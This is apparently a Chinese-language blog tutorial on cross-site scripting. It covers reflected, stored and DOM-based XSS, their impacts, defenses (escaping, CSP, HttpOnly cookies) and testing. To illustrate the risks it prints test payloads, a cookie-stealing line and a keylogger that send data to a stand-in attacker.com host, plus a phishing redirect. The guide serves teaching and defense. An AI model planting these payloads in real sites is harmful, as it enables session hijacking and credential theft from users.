xss漏洞

1. XSS漏洞概述

XSS(Cross-Site Scripting,跨站脚本攻击)​​ 是一种安全漏洞,攻击者通过向网页注入恶意脚本(通常是JavaScript),使得这些脚本在受害者的浏览器中执行。XSS漏洞通常发生在Web应用程序未对用户输入进行适当过滤和转义的情况下。

1.1 XSS漏洞的核心特点

  • 攻击方式:攻击者注入恶意脚本,受害者浏览器执行。
  • 利用点:Web应用程序未正确过滤用户输入。
  • 影响范围:可窃取用户Cookie、会话令牌,篡改网页内容,甚至控制用户浏览器。

2. XSS漏洞分类

XSS漏洞主要分为三类:​反射型XSS、存储型XSS、DOM型XSS

2.1 反射型XSS(Reflected XSS)​

  • 特点
    • 恶意脚本来自当前HTTP请求(如URL参数)。
    • 不会存储在服务器上,仅影响点击恶意链接的用户。
  • 攻击流程
    1. 攻击者构造恶意URL,如:

      复制代码

      复制

      复制代码
      http://example.com/search?q=<script>alert('XSS')</script>
    2. 诱骗用户点击该URL(如通过钓鱼邮件、社交工程)。

    3. 服务器返回包含恶意脚本的页面,用户浏览器执行该脚本。

  • 典型场景
    • 搜索框、错误消息、URL参数等未过滤的输入点。

2.2 存储型XSS(Stored XSS / Persistent XSS)​

  • 特点
    • 恶意脚本存储在服务器(如数据库、文件、缓存)。
    • 所有访问受影响页面的用户都会执行该脚本。
  • 攻击流程
    1. 攻击者提交恶意内容(如评论、留言

      复制代码
      <script>alert('XSS')</script>
    2. 服务器存储该内容并返回给其他用户。

    3. 受害者访问该页面时,恶意脚本自动执行。

  • 典型场景
    • 论坛评论、用户资料、博客文章等可存储用户输入的地方。

2.3 DOM型XSS(DOM-based XSS)​

  • 特点
    • 完全在客户端执行,不涉及服务器。
    • 由于JavaScript动态修改DOM导致的安全问题。
  • 攻击流程
    1. 攻击者构造特殊URL,如:

      复制代码

      复制

      复制代码
      http://example.com/#<script>alert('XSS')</script>
    2. 用户访问该URL,前端JavaScript解析URL并写入Dom

      复制代码
      document.write(location.hash.substring(1));
    3. 恶意脚本被执行。

  • 典型场景
    • 使用location.hashdocument.writeinnerHTML等动态操作DOM的代码。

3. XSS攻击的危害

XSS漏洞可导致多种严重安全问题:

3.1 窃取用户数据

  • 盗取Cookie :攻击者可窃取用户的会话Cookie,劫持账户。

    复制代码
    document.location='http://attacker.com/steal?cookie='+document.cookie;
  • 获取表单数据 :监听oninput事件窃取密码。

  • 读取本地存储 :访问localStoragesessionStorage

3.2 会话劫持

  • 冒充用户执行操作(如转账、修改资料)。
  • 利用XMLHttpRequestfetch发送恶意请求。

3.3 网页篡改

  • 修改页面内容(如插入虚假登录框)。

  • 重定向到恶意网站:

    复制代码
    window.location.href = "http://phishing-site.com";

3.4 键盘记录

  • 监听onkeypress事件记录用户

    复制代码
    document.onkeypress = function(e) { 
      fetch('http://attacker.com/log?key=' + e.key);
    };

3.5 传播蠕虫

  • 自动转发恶意链接(如社交网络XSS蠕虫)。

4. XSS防御措施

4.1 输入过滤与转义

复制代码
function escapeHtml(text) {
  return text
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;");
}
  • JavaScript转义

    复制代码
    function escapeJs(text) {
      return text.replace(/"/g, '\\"');
    }

4.2 输出编码

  • 前端框架自动转义
    • React:默认转义{userInput}
    • Vue.js:v-text自动转义,v-html需谨慎使用。

4.3 使用Content Security Policy (CSP)​

  • 限制脚本来源:

    复制代码
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

4.4 HttpOnly Cookie

  • 防止JavaScript访问

    复制代码
    Set-Cookie: sessionId=123; HttpOnly; Secure

4.5 避免危险的DOM操作

  • 避免使用innerHTMLdocument.write,改用textContent

    复制代码
    element.textContent = userInput; // 安全
    element.innerHTML = userInput;  // 危险

5. 测试与检测XSS漏洞

5.1 手动测试

  • 尝试注入基本Payload:

    复制代码
    <script>alert(1)</script>
    <img src=x onerror=alert(1)>
  • 检查是否被转义:

    复制代码
    &lt;script&gt;alert(1)&lt;/script&gt; <!-- 已转义 -->

5.2 自动化工具

  • Burp Suite:扫描XSS漏洞。
  • OWASP ZAP:自动化安全测试。
  • XSS Hunter:检测存储型XSS。

6. 总结

类型 存储位置 触发方式 防御措施
反射型XSS URL参数 用户点击恶意链接 输入过滤、输出编码
存储型XSS 数据库 访问受感染页面 严格输入验证、CSP
DOM型XSS 前端JS 动态DOM操作 避免innerHTMLeval
相关推荐
hbstream海之滨视频网络技术1 分钟前
Google正式上线Gemini In Chrome,国内环境怎样开启。
前端·chrome
Lisson 32 分钟前
VF01修改实际开票数量增强
java·服务器·前端·abap
红色的小鳄鱼12 分钟前
Vue 教程 自定义指令 + 生命周期全解析
开发语言·前端·javascript·vue.js·前端框架·html
coloma201214 分钟前
COCOS代码动态增加刚体和碰撞体的方法
前端·uv
想逃离铁厂的老铁18 分钟前
Day60 >> 94、城市间货物运输1️⃣ + 95、城市间货物运输 2️⃣ + 96、城市间货物运输 3️⃣
java·服务器·前端
GISer_Jing1 小时前
WebGL跨端兼容实战:移动端适配全攻略
前端·aigc·webgl
迦南giser1 小时前
前端性能——传输优化
前端
小白_ysf1 小时前
Vue 中常见的加密方法(对称、非对称、杂凑算法)
前端·vue.js·算法
人工智能训练8 小时前
【极速部署】Ubuntu24.04+CUDA13.0 玩转 VLLM 0.15.0:预编译 Wheel 包 GPU 版安装全攻略
运维·前端·人工智能·python·ai编程·cuda·vllm
会跑的葫芦怪8 小时前
若依Vue 项目多子路径配置
前端·javascript·vue.js